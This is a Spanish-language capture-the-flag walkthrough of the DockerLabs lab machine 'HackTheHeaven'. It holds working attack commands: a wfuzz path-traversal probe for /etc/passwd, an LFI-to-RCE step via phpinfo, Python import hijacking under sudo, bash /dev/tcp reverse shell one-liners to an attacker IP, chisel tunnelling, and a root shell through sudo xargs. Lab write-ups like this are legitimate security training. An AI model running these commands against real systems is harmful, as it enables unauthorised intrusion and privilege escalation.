HackTheHeaven - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Difícil | AlbertoMD3 |
Reconocimiento
Primero, observamos que el puerto 80 está abierto.
Al no encontrar nada relevante, realizamos una búsqueda con gobuster para descubrir posibles recursos adicionales. También encontramos un info.php, pero no revela información importante.
Descubrimos un archivo idol.html y procedemos a investigar su contenido.
La página web contiene un formulario y al hacer clic en el botón, nos redirige a otra página.
Esta página parece susceptible a un ataque LFI (Local File Inclusion). Sin embargo, necesitamos determinar el parámetro correcto para la inyección. Utilizamos wfuzz para hacer fuzzing y encontrar dicho parámetro.
wfuzz -c --hh=53 --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/clouddev3lopmentfile.php?FUZZ=../../../../../../../../../../.../../../etc/passwd"
Encontramos que el parámetro es filename.
Ahora podemos leer archivos del sistema.
Escalada a RCE
Al investigar, descubrimos que podemos convertir un LFI en un RCE. Nos basamos en una guía de HACKTRICKS para lograrlo: LFI to RCE via phpinfo.
Vamos a comprobar si es posible.
En el script descargado de HACKTRICKS, añadimos nuestra reverse shell en la variable payload. Cambiamos el archivo objetivo a info.php.
Modificamos la URL en la sección correspondiente del script.
(Esta parte fue gracias a Mario :P me estaba volviendo loco con este script).
Ejecutamos el script.
¡Ya estamos dentro! Escalada de Privilegios
Hacemos un ls en el directorio home y encontramos lo siguiente:
Vemos el texto megustaelfallout, así que probamos acceder como xerosec usando esa contraseña, ya que es el propietario del archivo.
Efectivamente, ahora estamos dentro. Vamos al directorio tmp para ver el script.
Este es el script. Si observamos, importa hashlib directamente, lo que presenta una vulnerabilidad. Si creamos un archivo llamado hashlib.py en el mismo directorio con código Python, este se ejecutará primero debido a la función import.
Además, al hacer un sudo -l, vemos que podemos ejecutar ese script como mario.
Creamos un script que ejecute whoami. Si funciona, debería devolver mario.
Lo ejecutamos y…
Efectivamente, whoami devuelve mario. Ahora podemos hacer que ejecute una reverse shell para escalar a mario.
Esto nos da una reverse shell como mario.
En el escritorio de mario, vemos un archivo que dice lo siguiente:
Miramos los procesos en ejecución en la máquina.
Vemos que s4vitar está ejecutando algo en localhost:9999. Vamos a investigar.
Si hacemos un curl, vemos que nos pide un comando. Vamos a intentar concatenar lo que dice en el archivo del escritorio.
Podemos ejecutar comandos desde la terminal. Vamos a pasarle el típico one-liner para hacer una reverse shell:
bash -i >& /dev/tcp/172.17.0.1/4333 0>&1
Nos llega la conexión, pero no podemos conectarnos directamente. Vamos a descargar chisel en la máquina atacante
- Maquina atacante
./chisel server --reverse 1234
Nos quedamos a la escucha para el túnel que vamos a crear.
Usamos python para subir el archivo de chisel a la máquina víctima en la carpeta tmp.
- Maquina Victima
./chisel client 172.17.0.1:8080 R:9999:127.0.0.1:9999
Le decimos a chisel que el tráfico de localhost en el puerto 9999 lo redirija a la IP 172.17.0.1. Ahora, si ponemos en el navegador de la máquina atacante localhost:9999, veremos la página web de la máquina víctima de s4vitar.
Pasamos el one-liner de la reverse shell cambiando los & por %26 para que funcione:
bash -c "bash -i >%26 /dev/tcp/172.17.0.1/4333 0>%261"
Ahora hacemos un sudo -l.
Podemos ejecutar xargs como root. Usamos gtfobins para encontrar cómo escalar privilegios con xargs.
./xargs -a /dev/null sh -p
¡Nos convertimos en root!